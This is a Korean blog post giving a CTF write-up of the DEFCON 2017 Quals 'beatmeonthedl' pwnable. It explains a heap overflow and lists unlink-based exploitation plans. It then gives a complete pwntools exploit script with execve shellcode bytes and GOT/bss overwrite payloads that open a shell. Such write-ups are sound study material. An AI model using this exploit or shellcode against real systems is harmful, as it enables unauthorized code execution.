Notice
Recent Posts
Recent Comments
Link
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

DEFCON 2017 Quals beatmeonthedl 본문

Security/Pwnable

DEFCON 2017 Quals beatmeonthedl

Cdor1 2017. 5. 12. 05:35

1번 메뉴를 이용해 청크를 할당할 때나

4번 메뉴를 이용해 청크를 수정할 때

56바이트의 청크를 할당했지만 128바이트를 받아 힙 상에서 overflow가 발생한다.

그래서 unlink를 이용해 exploit 할 수 있다.


고맙게도 프로그램에 아무런 보호기법이 설정되어있지 않아서 풀 방법을 바로 찾았는데


1.

1-1. 청크 3개 할당

1-2. 마지막 청크에는 shellcode 삽입

1-3. fd전까지 더미로 덮어서 heap_addr leak(마지막 청크 주소 계산)

1-4. unlink로 malloc pointer 변경

1-5. chunk0 pointer puts_got로 변경

1-6. puts_got를 마지막 청크 주소로 overwrite 해서 execute shellcode


2.

2-1. 청크 3개 할당

2-1. unlink로 malloc pointer 변경

2-2. chunk0 pointer puts_got로 변경

2-3. print로 libc leak

2-4. oneshot 계산후 got overwrite

2-5. execute oneshot

2번 방법은 출제 당시에 라이브러리가 제공되지 않았다고 해서 libcdb같은걸로 삽질 좀 해야한다.


하지만 내 생각대로 exploit을 짜다가 상준이형 writeup을 보게 되었는데

그동안 생각하지 못했던 방법으로 exploit하길래 나두 따라 짜봤다.

unlink를 두번 해서 1번째는 bss에 shellcode를 쓰고

 2번째는 got에 쉘코드 주소를 쓰는 방법이다.


3.

3-1. 청크 4개 할당

3-2. unlink로 malloc pointer 변경

3-2. chunk0 pointer bss로 변경

3-3. bss주소에 shellcode write

3-4. unlink로 다시 malloc pointer 변경

3-5. chunk0 pointer puts_got로 변경

3-6. puts_got를 shellcode addr(bss)로 overwrite

3-7. execute shellcode



from pwn import *
s = process('./defcon_be')

def login():
    print s.recvuntil('Enter username: ')
    s.sendline('mcfly')
    print s.recvuntil('Enter Pass: ')
    s.sendline('awesnap')

def request_add(text):
    print s.recvuntil('| ')
    s.sendline('1')
    print s.recvuntil('Request text > ')
    s.sendline(text)

def print_list():
    print s.recvuntil('| ')
    s.sendline('2')

def request_delete(num):
    print s.recvuntil('| ')
    s.sendline('3')
    print s.recvuntil('choice: ')
    s.sendline(str(num))

def request_change(num, data):
    print s.recvuntil('| ')
    s.sendline('4')
    print s.recvuntil('choice: ')
    s.sendline(str(num))
    print s.recvuntil('data: ')
    s.send(data)
        
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
login()
request_add('aaaa')
request_add('bbbb')
request_add('cccc')
request_add('dddd')

payload = 'a'*48
payload += p64(0)
payload += p64(0x42)
payload += p64(0x609E80 - 0x18)
payload += p64(0x609E80 - 0x10)
request_change(0, payload)
request_delete(1)

payload_overwrite = 'a'*24
payload_overwrite += p64(0x609B00)
request_change(0, payload_overwrite)
request_change(0, shellcode)

request_change(2, payload)
request_delete(3)

payload_overwrite = 'a'*24
payload_overwrite += p64(0x609958)
request_change(0, payload_overwrite)

request_change(0, p64(0x609B00))
s.interactive()


다 쓰고 해찬이형 블로그에서 알게된 사실인데


if (__builtin_expect (FD->bk != P || BK->fd != P, 0))

구현된 free에 fd와 bk가 malloc pointer를 가르키는지 check하는 루틴이 없어

그냥 fd에 got넣고 bk에 shellcode_addr 넣어서 exploit해도 된다.

좀더 꼼꼼히 분석하는 습관을 가져야겠다.

http://cdor1.tistory.com/44

참고


-참조-

http://y0ubat.tistory.com/332

http://s0ngsari.tistory.com/entry/Defcon-2017-beatmeonthedl

'Security > Pwnable' 카테고리의 다른 글

pwnable.tw silver_bullet  (0) 2017.05.17
DEFCON 2017 quals mute  (0) 2017.05.16
NOE systems double_input.c  (0) 2017.05.11
DEFCON 2017 Quals smashme  (0) 2017.05.11
NOE systems pwnable BURYBURY.c  (0) 2017.05.11
Comments